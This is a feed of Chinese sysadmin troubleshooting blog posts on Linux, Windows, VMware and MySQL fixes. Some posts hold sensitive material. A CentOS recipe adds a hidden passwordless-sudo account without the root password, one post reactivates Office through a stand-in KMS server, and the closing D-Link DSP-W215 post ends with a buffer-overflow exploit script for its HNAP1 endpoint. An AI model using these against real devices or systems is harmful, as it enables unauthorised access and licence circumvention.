Quantcast
Channel: Jamyy's Weblog » trouble-shooting
Viewing all 22 articles
Browse latest View live

修改 Windows hosts 檔 (暫時) 解決各種首頁綁架問題

$
0
0

同事的 IE 首頁被綁架了, 總是指向 http://www.hao123.com/?tn=97473572_hao_pg
耗了整整一個早上的時間, 找了一堆之前網路盛行的方法都沒用, 最後以這個這個辦法解決
過程中還想了一個有趣的點子來處理 (真的有效, 適用各種首頁綁架), 記錄如下:

Step 1. 開啟命令提示字元視窗

Administrator 身份: 視窗鍵 + R → cmd
一般使用者身份: 視窗鍵 → 搜尋: cmd, 於 cmd 按右鍵, 以系統管理員身份執行

Step 2. 編輯 hosts 檔案

notepad %SystemRoot%\system32\drivers\etc\hosts

於檔尾加入:

123.123.123.123 www.hao123.com

其中, 123.123.123.123 係自己網站 IP, 表示該電腦連線 www.hao123.com 時將連入自己網站

Step 3. 編輯網站首頁

修改網站 DocumentRoot/index.php, 於檔頭加入:

<?php
if ( $_SERVER['HTTP_HOST'] == 'www.hao123.com' ) {
        header("HTTP/1.1 301 Moved Permanently");
        header("Location: https://tw.yahoo.com/");
        exit;
}
?>

 
後記:

若首頁想用蕃薯藤 (www.yam.com) 可直接在 hosts 設置 60.199.244.6 (蕃薯藤 IP) 對應 www.hao123.com 即可, 因為直接連入台灣雅虎奇摩 IP 會出現英文網頁, 所以才用 PHP redirect 的方式處理

 
Ref: [WEB][PHP][SEO] 轉導、轉向(Redirect)網址的方法. - 諸彼特租屋網


恢復 / 重設 CentOS 7 root 密碼

$
0
0

Step 1. 開機選單按 e 進入編輯畫面
Step 2. 找到 linux16 vmlinuz... 那行, 按 end 移動到該行最後, 空一格加入 init=/bin/sh 接著按 Ctrl + x 開機
Step 3. mount -o remount,rw /
Step 4. passwd
Step 5. touch /.autorelabel (若 SELinux=enforcing 一定要做, 否則跳過)
Step 6. exec /sbin/init

Ref: RHEL 7 / CentOS 7 : Recovering / Reset Root Password @ All Linux User's Blog

註: CentOS 6 亦可適用, 差異如下:

Step 2. 找到 kernel /vmlinuz... 那行, 按 e 編輯, 編輯完畢按 Enter 回到選單, 按 b 開機
Step 6. 執行完 exec /sbin/init 出現 Control-D to continue 後按 Ctrl + d 重新開機

避免複製檔案到 FAT32 時發生錯誤

$
0
0

問題: 在 Linux 系統複製檔案到 FAT32 filesystem 發生 Invalid argument 錯誤
原因: FAT32 檔名不得含有 * \ : " < > | ? 等字元
作法:

  1. 使用 pax 指令, 複製時變更非法字元
  2. 使用 mount.posixovl 自動轉換字元

操作環境: Linux Mint 17 (based on Ubuntu 14.04)

建立測試環境

$ mkdir /tmp/src /tmp/fat32 /tmp/fat32-remount
$ dd if=/dev/zero of=/tmp/fat32.img bs=1 seek=500M count=0
$ mkfs.vfat -F32 /tmp/fat32.img
$ sudo mount -o uid=myaccount,rw /tmp/fat32.img /tmp/fat32
$ vi /tmp/go

#!/bin/bash
touch questionmark?
touch less\<
touch more\>
touch backslash\\
touch colon:
touch asterisk\*
touch pipe\|
touch inch\"
touch Abc
touch abC

$ cd /tmp/src
$ sh ../go


 
方式一: 使用 pax 指令, 複製時變更非法字元

$ sudo apt-get install pax
$ cd /tmp/src
$ pax -rw -s '/[*\\:"<>|?]/_/gp' * ../fat32/
$ ls /tmp/{src,fat32}

/tmp/fat32:
Abc  asterisk_  backslash_  colon_  inch_  less_  more_  pipe_  questionmark_

/tmp/src:
abC  asterisk*   colon:  less<  pipe|
Abc  backslash\  inch"   more>  questionmark?


 
方式二: 使用 mount.posixovl 自動轉換字元

$ sudo apt-get install fuse-posixovl
$ mount.posixovl -S /tmp/fat32 /tmp/fat32-remount
$ cp /tmp/src/* /tmp/fat32-remount/
$ ls /tmp/{src,fat32,fat32-remount}

/tmp/fat32:
abC            backslash%(5C)  inch%(22)  more%(3E)  questionmark%(3F)
asterisk%(2A)  colon%(3A)      less%(3C)  pipe%(7C)

/tmp/fat32-remount:
abC  asterisk*  backslash\  colon:  inch"  less<  more>  pipe|  questionmark?

/tmp/src:
abC  asterisk*   colon:  less<  pipe|
Abc  backslash\  inch"   more>  questionmark?

ps. 由於 FAT32 檔名不分大小寫, 所以 Abc 與 abC 只會存在一個


 
Ref:

將 Ubuntu 上的 KVM/libvirt 虛擬機器移植到 CentOS 6

$
0
0

目的: 解決以下問題

  • CentOS 6 啟動虛擬機器時發生錯誤:
      uses a qcow2 feature which is not supported by this qemu version: QCOW version 3
  • CentOS 6 啟動虛擬機器後虛擬機器 Blue Screen:
      DRIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS

環境:

  • Host OS: Ubuntu 14.04 / 14.10, CentOS 6.6
  • Guest OS: Windows XP Pro SP3

在 Ubuntu 14.04 / 14.10 的處理

$ virsh dumpxml winxp > winxp.xml

$ sudo qemu-img convert -f qcow2 winxp.qcow2 -o compat=0.10 -O qcow2 winxp-4el6.qcow2

將 winxp.xml 與 winxp-4el6.qcow2 都複製到 CentOS 6.6 機器上, 更名 winxp-4el6.qcow2 為 winxp.qcow2

在 CentOS 6.6 的處理

# yum install libvirt libvirt-client python-virtinst qemu-img qemu-kvm
# chkconfig libvirtd on
# service libvirtd start

# vi winxp.xml

原: <type arch='x86_64' machine='pc-i440fx-trusty'>hvm</type>
改: <type arch='x86_64' machine='pc'>hvm</type>

原: <emulator>/usr/bin/qemu-system-x86_64</emulator>
改: <emulator>/usr/libexec/qemu-kvm</emulator>

原: <source file='/路徑/winxp.qcow2'/>
改: <source file='/實際路徑/winxp.qcow2'/>

刪除 <cpu>...</cpu>
刪除所有 <address type='pci'...

匯入虛擬機器設定檔
# virsh define winxp.xml

啟動虛擬機器
# virsh start winxp

連線遠端 VM

$ virt-viewer --connect qemu+ssh://me@my.linux.host/system winxp

解決 XP Blue Screen 問題

重新啟動虛擬機器, 進入安全模式, 執行 regedit
點入 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
將 AmdK7、intelppm、Processor 的 Start 值都改成 4

後記

  • CentOS 6.6 無法處理新版 qcow2 (compat: 1.1) 檔案, 一定要在新版環境 (如: Ubuntu 14.04, 14.10、CentOS 7) 將 qcow2 convert 成 compat=0.10 才能讓 CentOS 6.6 使用該 qcow2 檔案
  • 若已將 compat=1.1 的 qcow2 檔案丟到 CentOS 6.6 機器上, 可在 CentOS 6.6 運行 Docker 裡的 Ubuntu 14.04 將 qcow2 檔案轉成 compat=0.10

Ref:

解決 Windows 複製檔案到 Samba 出現 "您確定要複製這個檔案而不含其內容嗎"

解決 Eye of GNOME (eog) 顏色異常的問題

regedit.exe "載入 Hive 控制檔"操作備忘

$
0
0

問: 假設某環境有兩部 Windows 電腦, 其中一部因故無法開機但能以修改機碼方式解決, 在手邊沒有 WinPE、Linux LiveCD 等工具的情況下如何處置?

答: 將問題電腦系統硬碟拆下接入另一部電腦, 開機後執行 regedit 以 "Load Hive" (載入 Hive 控制檔) 方式編輯問題電腦的機碼

環境: Windows XP (正常電腦), Windows 7 (問題電腦)

Step 1. 拆下 Windows 7 系統硬碟, 接入 Windows XP 電腦

Step 2. Windows XP 電腦開機, 開始 → 執行: regedit

Step 3. 點擊 HKEY_LOCAL_MACHINE 或 HKEY_USERS 使其反白後, 接著依序點擊: 檔案 → 載入 Hive 控制檔

Step 4. 於 "載入 Hive 控制檔" 對話視窗點入 Windows 7 系統硬碟之相關目錄載入機碼內容, 檔案位置與機碼之對應關係列示如下:

Windows\System32\config\SYSTEM 對應 HKEY_LOCAL_MACHINE\SYSTEM
Windows\System32\config\SOFTWARE 對應 HKEY_LOCAL_MACHINE\SOFTWARE
Windows\System32\config\DEFAULT 對應 HKEY_USERS\.Default
Users\<username>\ntuser.dat 對應 HKEY_CURRENT_USER

Step 5. 提示 "機碼名稱" 時輸入任意名稱, 例如: test1


Step 6. 編輯完畢後, 點擊 test1 使其反白, 接著依序點擊: 檔案 → Hive 解除載入

Step 7. Windows XP 電腦關機, 拔除 Windows 7 系統硬碟, 將 Windows 7 系統硬碟接回原電腦開機



參考資料: Load registry hive for offline registry editing | Troubleshoot | Smallvoid.com

延伸閱讀: chntpw 指令操作備忘

解決 apt-get update 出現 GPG error 的問題

$
0
0
  • 狀況一: 關鍵字 NO_PUBKEY
    解決方案: apt-key 匯入金鑰
  • 狀況二: 關鍵字 BADSIG
    解決方案: 清除 /var/lib/apt/lists 內容

環境: Ubuntu 14.04.2

狀況一: 關鍵字 NO_PUBKEY

$ sudo apt-get update

W: GPG error: http://security.ubuntu.com trusty-security Release: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32
W: GPG error: http://archive.canonical.com trusty Release: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32
W: GPG error: http://archive.ubuntu.com trusty Release: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32
W: GPG error: http://archive.ubuntu.com trusty-updates Release: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32

解決辦法:

$ apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 40976EAF437D05B5
$ apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32

$ gpg --keyserver keyserver.ubuntu.com --recv-key 40976EAF437D05B5
$ gpg -a --export 40976EAF437D05B5 | sudo apt-key add -
$ gpg --keyserver keyserver.ubuntu.com --recv-key 3B4FE6ACC0B21F32
$ gpg -a --export 3B4FE6ACC0B21F32 | sudo apt-key add -

狀況二: 關鍵字 BADSIG

$ sudo apt-get update

W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: http://security.ubuntu.com trusty-security Release: The following signatures were invalid: BADSIG 40976EAF437D05B5 Ubuntu Archive Automatic Signing Key <ftpmaster@ubuntu.com>

W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/trusty-security/Release  

W: Some index files failed to download. They have been ignored, or old ones used instead.

解決辦法:

$ sudo su -
# apt-get clean
# cd /var/lib/apt
# mv lists lists.old
# mkdir -p lists/partial
# apt-get clean
# apt-get update

Ref:


解決 PHP + MySQL 必須先 SET NAMES latin1 才能正確顯示 UTF-8 中文的問題

$
0
0

讓 PHP 程式無須執行 mysql_query('SET NAMES latin1'); 即可正確顯示資料庫之 UTF-8 中文內容, 解決中文亂碼問題

環境: CentOS 5.10 (LANG=en_US.UTF-8), mysql-server 5.0.95-5.el5_9, 資料庫內含 UTF-8 中文資料

修改 my.cnf 設定
$ su -c "vi /etc/my.cnf"

[mysql]
default-character-set=utf8

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1
default-character-set=utf8

# Disabling symbolic-links is recommended to prevent assorted security risks;
# to do so, uncomment this line:
# symbolic-links=0

[mysqld_safe]
log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

[client]
default-character-set=utf8

重新啟動 mysql server 以重新讀取 my.cnf 設定值
$ su -c "service mysqld restart"

確認設置是否生效
$ mysql -u root -p -A mysql
mysql> show variables like 'character%';

+--------------------------+----------------------------+
| Variable_name            | Value                      |
+--------------------------+----------------------------+
| character_set_client     | utf8                       | 
| character_set_connection | utf8                       | 
| character_set_database   | utf8                       | 
| character_set_filesystem | binary                     | 
| character_set_results    | utf8                       | 
| character_set_server     | utf8                       | 
| character_set_system     | utf8                       | 
| character_sets_dir       | /usr/share/mysql/charsets/ | 
+--------------------------+----------------------------+
8 rows in set (0.00 sec)

匯出目標資料庫, 此時仍必須加上 default-character-set=latin1 參數, 所匯出的中文內容才不會變成亂碼
$ mysqldump --default-character-set=latin1 --skip-extended-insert -u root -p mydatabase > mydatabase.sql

變更匯出內容之 SET NAMES 設定
$ sed -i -e 's/SET NAMES latin1/SET NAMES utf8/' mydatabase.sql

重新建立資料庫
$ mysql -u root -p -A mysql
mysql> drop database mydatabase;
mysql> create database mydatabase default character set utf8 collate utf8_general_ci;
mysql> exit

匯入資料庫
$ mysql -u root -p -A mydatabase < mydatabase.sql

完成後, PHP 程式無須執行 mysql_query('SET NAMES latin1'); 即可正確顯示資料庫之 UTF-8 中文內容



Ref: [轉載]MySQL 的 "SET NAMES xxx" 字元編碼問題分析 | Vixual

解決 gedit 文字編輯器 BIG5 亂碼問題

$
0
0

環境:

  • Linux Mint 17.2 Cinnamon Desktop
  • Ubuntu 14.04.2 LTS Unity Desktop
  • LANG=en_US.UTF-8

Linux Mint 17.2 Cinnamon Desktop

GUI 操作

$ gconf-editor

  1. 依序點入 /apps/gedit-2/preferences/encodings
  2. 雙擊 auto_detected
  3. Add
  4. 輸入 BIG5
  5. 按 Up 將 BIG5 移動到 UTF-8 下方

CLI 操作

查看目前設置
$ gconftool-2 --get /apps/gedit-2/preferences/encodings/auto_detected

[UTF-8,BIG5,CURRENT,ISO-8859-15,UTF-16]

加入 BIG5
$ gconftool-2 --type list --list-type string \
--set /apps/gedit-2/preferences/encodings/auto_detected [UTF-8,BIG5,CURRENT,ISO-8859-15,UTF-16]

Ubuntu 14.04.2 LTS Unity Desktop

GUI 操作

$ dconf-editor

  1. 依序點入 org.gnome.gedit.preferences.encodings
  2. 雙擊 auto-detected 右邊的內容
  3. 原: ['UTF-8', 'CURRENT', 'ISO-8859-15', 'UTF-16']
    改: ['UTF-8', 'BIG5', 'CURRENT', 'ISO-8859-15', 'UTF-16']

CLI 操作

查看目前設置
$ gsettings get org.gnome.gedit.preferences.encodings auto-detected

['UTF-8', 'CURRENT', 'ISO-8859-15', 'UTF-16']

加入 BIG5
$ gsettings set org.gnome.gedit.preferences.encodings auto-detected "['UTF-8', 'BIG5', 'CURRENT', 'ISO-8859-15', 'UTF-16']"



Ref: Google Search

重新啟用大量授權版本的 Office 2010

$
0
0

Windows 7 升級 Windows 10 之後, 執行 Office 2010 會出現產品需要啟動的訊息
在不方便連回原 KMS 主機的情況下, 於 Linux Host 運行 py-kms 來接應 Office 的連線需求

環境:

  • Linux Host: CentOS 7
  • Windows Host: Windows 10, Office Pro Plus 2010

Step 1. 安裝 Magical Jelly Bean Keyfinder, 查出 Office 序號 (CD Key)

Step 2. 查出當初驗證的 KMS 主機

Windows Key → cmd
C:\Users\User> cd %ProgramFiles(x86)%\Microsoft Office\Office14
C:\Program Files (x86)\Microsoft Office\Office14> cscript ospp.vbs /dhistorykms

Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corp. 1996-2006, 著作權所有,並保留一切權利

---Processing--------------------------
---------------------------------------
Searching for KMS activation events on machine: PC
Event ID: 12288

Coordinated Universal Time Written: 2015/8/20 上午 12:38:02
ERROR/HOST: 0xC0020017, 0x00000000, kms.intra.mycompany.com
ERROR DESCRIPTION: Run the following: cscript ospp.vbs /ddescr:0xC0020017
---------------------------------------
Coordinated Universal Time Written: 2015/8/20 上午 12:20:41
ERROR/HOST: 0xC0020017, 0x00000000, kms.intra.mycompany.com
ERROR DESCRIPTION: Run the following: cscript ospp.vbs /ddescr:0xC0020017
---------------------------------------
---------------------------------------
---Exiting-----------------------------

從以上訊息可得知, KMS 主機是 kms.intra.mycompany.com

Step 3. 在 Linux 系統啟動 py-kms

$ wget https://github.com/myanaloglife/py-kms/archive/master.zip
$ unzip master.zip
$ cd py-kms-master
$ python server.py

TCP server listening at 0.0.0.0 on port 1688.

Step 4. 將原 KMS 網址對應到 Linux Host IP

Windows Key → cmd → 滑鼠右鍵 → 以系統管理員身分執行

C:\WINDOWS\system32> notepad drivers\etc\hosts

192.168.1.1 kms.intra.mycompany.com

Step 5. 執行 Excel, 進行以下步驟

a. 檔案 → 說明 → 變更產品金鑰
b. 貼入 Step 1. 查出的 CD Key
c. 依照畫面指示操作, 最後重新啟動電腦

完成後, Linux 主機上的 py-kms 即可撤除



Ref:

解決 CentOS 6 使用 Docker 後 libvirtd virbr0 無法啟動的問題

$
0
0

問題:

# virsh net-start default

error: Failed to start network default
error: Unable to set bridge virbr0 forward_delay: Read-only file system

環境: CentOS 6.7, docker-io 1.6.2-3, libvirt 0.10.2-54

確認 docker、libvirtd 開機自動啟動
# chkconfig --list | egrep "docker|libvirt"

docker 0:off 1:off 2:on 3:on 4:on 5:on 6:off
libvirtd 0:off 1:off 2:off 3:on 4:on 5:on 6:off

確認 chkconfig 參數, docker 預設比 libvirtd 早啟動 (docker:95, libvirtd:97)
# egrep "# chkconfig" /etc/init.d/libvirtd /etc/init.d/docker

/etc/init.d/libvirtd:# chkconfig: 345 97 03
/etc/init.d/docker:# chkconfig: 2345 95 95

讓 docker 啟動順序晚於 libvirtd (docker:98, libvirtd:97)
# echo "# chkconfig: 345 98 95" > /etc/chkconfig.d/docker

重新啟動電腦
# sync && reboot



Ref: libvirt network start problem

ssh 連入 CentOS 5 Container 之問題排除

$
0
0

在 CentOS 5 Container 設立 sshd 打算從外部連入, 過程中遇到了一些問題, 也學到了一些東西

  • passwd 設定密碼出現 /usr/share/cracklib/pw_dict.pwd: No such file or directory
  • 登入後瞬斷, container 的 /var/log/secure 出現 pam_loginuid(sshd:session): set_loginuid failed
  • container /var/log/messages 不停出現 /sbin/mingetty[]: tty1: no controlling tty: Operation not permitted、/sbin/mingetty[]: tty2: cannot open tty: Operation not permitted 之類的訊息

環境: CentOS 5 Container

以下均在 Container 內操作

問題: passwd 設定密碼出現 /usr/share/cracklib/pw_dict.pwd: No such file or directory
解決方法:

# rpm -e cracklib-dicts --nodeps
# yum -y install cracklib-dicts

Ref: Official centos base image and passwd · Issue #6586 · docker/docker · GitHub

問題: 登入後瞬斷, container 的 /var/log/secure 出現 pam_loginuid(sshd:session): set_loginuid failed
解決方法:

# vi /etc/pam.d/sshd

# 註解底下這行
#session required pam_loginuid.so

Ref: Docker - Gitlab container. SSH git login error - Stack Overflow

問題: container /var/log/messages 不停出現 /sbin/mingetty[]: tty1: no controlling tty: Operation not permitted、/sbin/mingetty[]: tty2: cannot open tty: Operation not permitted 之類的訊息
解決方法:

# for i in {1..6}; do mknod /dev/tty$i c 4 $i; done

Ref: Keep receiving /sbin/mingetty[14312]: tty1: No such file or directory errors - Serverfix

CentOS: 無 root 密碼的系統管理方案

$
0
0

未知 root 密碼但可觸及 console, 在不變更 root 密碼的前提下進入系統建立一個臨時系統管理員帳號, 並取消 GUI 登入畫面顯示可登入帳號之功能

環境: CentOS 7, SELinux=enforcing

Single User Mode 登入

1. 開機選單按 e
2. 在 linux16 那行的最後加上 init=/bin/bash
3. 按 Ctrl + X

建立一個可供登入操作的系統帳號

# mount -o remount,rw /
# useradd -r -s /bin/bash -M sysop
# passwd sysop
# echo "sysop ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc/sudoers

重新啟動電腦

# touch /.autorelabel
# exec /sbin/init

取消 GUI 登入畫面顯示可登入帳號之功能

# vi /etc/dconf/db/gdm.d/00-login-screen

[org/gnome/login-screen]
disable-user-list=true

# dconf update



Ref:

解決美光 Crucial V4 SSD I/O Error 問題

$
0
0

解決辦法: 重刷韌體 (所有資料會被清除)

方式一: 在 Windows 系統製作刷韌體用開機隨身碟 (官方韌體)

  1. 開啟瀏覽器, 連入官方網頁 http://www.crucial.com/usa/en/support-ssd
  2. 點擊 Crucial v4 2.5-inch SSD → download firmware → 解壓縮 make-dlm-c-disk-s5famm25.zip → 插入隨身碟, 執行 make-dlm-c-disk-s5famm25.exe
  3. 電腦關機 → 插入隨身碟, 並確認 Crucial V4 SSD 接在 SATA port 上 (不可用 USB 外接) → 開機, 選擇 USB 開機 → C: → 執行 ISP.BAT



方式二: 在 Windows 或 Linux 桌面製作刷韌體用開機隨身碟 (非官方韌體)

  1. 開啟瀏覽器, 貼上網址 http://www.mydigitaldiscount.com/downloads/S5FAM030_FW.zip 下載檔案並解壓縮
  2. 執行 HPFORMATTOOLSP27608.exe (Windows) 或使用 Unetbootin (Windows、Linux 均可) 製作 FreeDOS 開機隨身碟
  3. 將 FWFiles 目錄複製到隨身碟
  4. 電腦關機 → 插入隨身碟, 並確認 Crucial V4 SSD 接在 SATA port 上 (不可用 USB 外接) → 開機, 選擇 USB 開機 → C: → CD FWFILES → 執行 ISP.BAT



補充: 優化 Crucial V4 SSD 速度 @ Linux (fs 掛載參數)

discard,noatime,nodiratime,barrier=0,commit=180


 
延伸閱讀: RE:【心得】SSD 偽 資訊總匯‧真 個人腦補包 9/18 11:00 @電腦應用綜合討論 哈啦板 - 巴哈姆特

參考資料:


解決 VMware vSphere iSCSI 效能問題

$
0
0

問題: Storage 效能正常, 但 ESXi Host 掛載 Storage 上的 iSCSI target, VM 磁碟效能不彰
解決方式: Host 取消 iSCSI storage adapter 的 DelayedAck 參數

環境: VMware vSphere 6.0

使用 VMware vSphere Web Client 進行操作

1. 登入 vCenter Server
2. 於 Host 名稱按右鍵 → Maintenance Mode → Enter Maintenance Mode → OK
3. 點擊 Host 名稱 → 點擊畫面右手邊 Manage → Storage → Storage Adapters
4. 點擊 iSCSI 網卡名稱 (如: vmhba37) → 點擊畫面下半部的 Advanced Options → Edit
5. 捲軸拉到最下面, 取消勾選 DelayedAck 的 Enabled 項目 → OK
6. 於 Host 名稱按右鍵 → Maintenance Mode → Exit Maintenance Mode → OK
7. 將虛擬機器 vMotion 到此 Host, 再執行一次磁碟效能測試 (如: hdparm -t / dd 或 CrystalDiskMark)

使用 VMware vSphere Client 進行操作

1. 登入 vCenter Server
2. 於 Host 名稱按右鍵 → Enter Maintenance Mode → OK
3. 點擊 Host 名稱 → 點擊畫面右手邊 Configuration → Storage Adapters
4. 於 iSCSI 網卡名稱按右鍵 (如: vmhba37) → 點擊 Properties → Advanced...
5. 捲軸拉到最下面, 取消勾選 DelayedAck 的 Enabled 項目 → OK → Close
6. 於 Host 名稱按右鍵 → Exit Maintenance Mode
7. 將虛擬機器 vMotion 到此 Host, 再執行一次磁碟效能測試 (如: hdparm -t / dd 或 CrystalDiskMark)



Ref: VMware KB: ESX/ESXi hosts might experience read or write performance issues with certain storage arrays

Ubuntu 16.04 Unity 桌面調校備忘

$
0
0

解決以下問題

  • 關機、重開機時卡很久
  • GNOME Terminal 視窗解除最大化不會回到原視窗尺寸
  • HIME Chewing 輸入法 (酷音輸入法) 浮動視窗有時消失或出現在奇怪的地方
  • Alt + F2 搜尋 Application 效能不彰
  • 操作瀏覽器時, Alt + D 出現 HUD 而不是進入瀏覽器網址列

ibus-chewing 調校

  • 安裝詞庫編輯工具
  • 讓酷音輸入法 Icon 與 Unity 工作列其他 Icon 同色調

問題: 關機、重開機時卡很久
解決方式: 修改 /etc/systemd/system.conf 的 DefaultTimeoutS*Sec 參數值

$ sudo vi /etc/systemd/system.conf

# 取消註解 DefaultTimeoutS*Sec=90s, 並將 90s 改為 5s
DefaultTimeoutStartSec=5s
DefaultTimeoutStopSec=5s

$ sudo systemctl daemon-reload

Ref: Problems with latest systemd 226-3 (Page 3) / Newbie Corner / Arch Linux Forums



問題: GNOME Terminal 視窗解除最大化不會回到原視窗尺寸
解決方式: 改用 terminator 作為預設 terminal

$ sudo apt-get install terminator
$ gsettings set org.gnome.desktop.default-applications.terminal exec 'terminator'

Ref: command line - How can I set default terminal used in Unity? - Ask Ubuntu



問題: HIME Chewing 輸入法 (酷音輸入法) 浮動視窗有時會消失或出現在奇怪的地方
解決方式: 改用 iBus 的 Chewing 輸入法

$ sudo apt-get purge hime hime-chewing
$ sudo apt-get install ibus-chewing
$ im-config -n ibus
$ ibus-setup

點擊 Input Method → Add → Chinese → Chewing → Add

預設操作方式:

  • 切換 En / 酷音: Super + Space
  • 中文輸入模式下快速切換英文輸入模式: Shift
  • 喚出符號表: 中文輸入模式下按 ` (Esc 鍵的下面, 數字 1 的左邊)



問題: Alt + F2 搜尋 Application 效能不彰
解決方式: 安裝 kupfer 快捷工具

$ sudo apt-get install kupfer
$ kupfer &

滑鼠點擊右上角 "kupfer" → Preferences → (勾選) Start automatically on login → Close

預設操作方式:

  • 喚出 Kupfer: Ctrl + Space
  • 直接輸入欲執行的 Application 名稱, 不用完整輸入, 出現目的 Icon 即可按 Enter 執行

Ref: Five alternative apps for ALT+F2 functionality in Unity - OMG! Ubuntu!



問題: 操作瀏覽器時, Alt + D 出現 HUD 而不是進入瀏覽器網址列
解決方式: 習慣改用 Ctrl + L 或安裝 ccsm 取消 Alt 鍵綁定

$ sudo apt-get install compizconfig-settings-manager
$ ccsm

滑鼠游標點擊 Ubuntu Unity Plugin → 點擊 Key to show the HUD when tapped 的 <Alt> 按鈕 → 取消勾選 Enabled → OK



ibus-chewing 調校

安裝詞庫編輯工具
$ sudo apt-get install chewing-editor
$ chewing-editor

讓酷音輸入法 Icon 與 Unity 工作列其他 Icon 同色調
$ gimp /usr/share/ibus-chewing/icons/ibus-chewing.png

  1. 將 Layer 放大為 800%
  2. 游標移動到圖片上按右鍵 → Images → Mode → Grayscale
  3. 游標移動到圖片上按右鍵 → Colors → Invert
  4. 游標點擊前景色, 將 HTML notation 設定為: dcd8d0
  5. 游標點擊水桶工具, 將酷音輸入法 Icon 白色外框置換為剛剛設定的顏色
  6. 游標移動到圖片上按右鍵 → Select → By Color → 游標點擊方框內的灰底色
  7. 游標移動到圖片上按右鍵 → Edit → Fill with FG Color
  8. 游標移動到圖片上按右鍵 → Export As → /tmp/ibus-chewing.png → Export
  9. 關閉 GIMP 視窗, 開啟 terminal 視窗
  10. $ sudo cp /tmp/ibus-chewing.png /usr/share/ibus-chewing/icons/
  11. 實際效果:




2016-05-03 補充: 讓 systray 顯示所有 icon

$ sudo add-apt-repository ppa:maximpetrov/unity-systray-fix
$ sudo apt update
$ sudo apt upgrade

Alt + F2 → 輸入 unity → 按 Enter 立即生效

解決: 刪除 VMFS 上的 VMDK 檔案時發生 Device or resource busy 問題

$
0
0

vmdk 檔案已不再被虛擬主機使用, 可以搬移、更名但無法刪除; 刪除檔案時發生錯誤: Device or resource busy

環境: VMware vSphere 6.0.0

解決方式: console 操作或 ssh 登入 ESXi 主機, 依序執行以下步驟

Step 1. 找出鎖定者的 Mac Address

# vmkfstools -D /vmfs/volumns/UUID/file.vmdk

Lock [type 10c00001 offset 332765184 v 483, hb offset 4100096
gen 617, mode 1, owner 57352a65-0ab83738-1be0-000102030405 mtime 1255274
num 0 gblnum 0 gblgen 0 gblbrk 0]
Addr <4, 605, 171>, gen 436, links 1, type reg, flags 0, uid 0, gid 0, mode 600

Step 2. 逐一比對 ESXi 主機網卡的 Mac Address, 除最後兩碼之外其餘皆相同者即為檔案鎖定者

  • vSphere Client 方式: 於 Hosts and Clusters 模式依序點擊 ESXi 主機 → Configuration → Network Adapters
  • vSphere Web Client 方式: 於 Hosts and Clusters 模式依序點擊 ESXi 主機 → Manage → Networking → Physical adapters
  • 指令方式: # esxcfg-nics -l

Step 3. 將檔案鎖定者 (ESXi 主機) 身上的虛擬主機 vMotion 到其他主機, 進入 Maintenance Mode, 然後 Reboot

Step 4. 在檔案鎖定者 Reboot 的同時, 即可於 vCenter Server 或其他運作中的 ESXi 主機刪除 vmdk 檔案



Ref:

Shell Script: 為 UTF-8 文字檔案加入 BOM 檔頭

$
0
0

目的: 解決 Microsoft Excel 開啟 UTF-8 編碼 CSV 檔案中文內容變亂碼的問題。

$ vi ~/bin/bomfile.sh

#!/bin/sh

if [ $# -eq 0 ]
then
        echo usage $0 files ...
        exit 1
fi

for file in "$@"
do
        echo "# Processing: $file" 1>&2
        if [ ! -f "$file" ]
        then
                echo Not a file: "$file" 1>&2
                exit 1
        fi
        TYPE=`file - < "$file" | cut -d: -f2`
        if echo "$TYPE" | grep -q '(with BOM)'
        then
                echo "# $file already has BOM, skipping." 1>&2
        else
                ( mv "${file}" "${file}"~ && uconv -f utf-8 -t utf-8 --add-signature < "${file}~" > "${file}" ) || ( echo Error processing "$file" 1>&2 ; exit 1)
        fi
done

$ chmod +x ~/bin/bomfile.sh
$ bomfile.sh filename.csv



Ref: utf 8 - Adding BOM to UTF-8 files - Stack Overflow

解決 D-Link DSP-W215 智慧插座在設定過程中發生 PIN 碼錯誤的問題

$
0
0

問題:
  1. mydlink Home App 新增設備時, PIN 碼輸入階段總是出現 "PIN 碼錯誤" 而無法完成設定作業
  2. 找到線索: 更新韌體版本應可解決此問題, 但遍尋不著 D-Link DSP-W215 更新韌體的 Web 介面


設備: D-Link DSP-W215, HW Ver: A1, FW Ver: 1.00


Step 1. 讓 D-Link DSP-W215 與家中 Wi-Fi AP 透過 WPS 功能進行連線

Step 2. 連線成功後 D-Link DSP-W215 裝置綠燈恆亮, 確認裝置 IP

Step 3. 假設 D-Link DSP-W215 獲取之 IP Address 為 192.168.1.50, PIN Code (記載於卡片上) 為 123456, 在 Linux 主機進行以下操作

命令設備開始下載新版韌體
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/StartFirmwareDownload"' http://admin:123456@192.168.1.50/HNAP1

查看執行結果
$ cat HNAP1

命令設備開始執行韌體更新作業
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/DoFirmwareUpgrade"' http://admin:123456@192.168.1.50/HNAP1

Step 4. 待設備燈號由紅燈轉成綠燈恆亮時, 即可透過 mydlink Home App 進行後續設定



附錄: D-Link DSP-W215 在 Firmware version 為 1.00 的階段可以這樣玩

以下均為直接連線 DSP-* 訊號的操作示範

啟用 telnetd

$ vi exploit.py

import sys
import urllib2

command = sys.argv[1]

buf = "D" * 1000020
buf += "\x00\x40\x5C\xAC"
buf += "E" * 0x28
buf += command
buf += "\x00"

req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
print urllib2.urlopen(req).read()

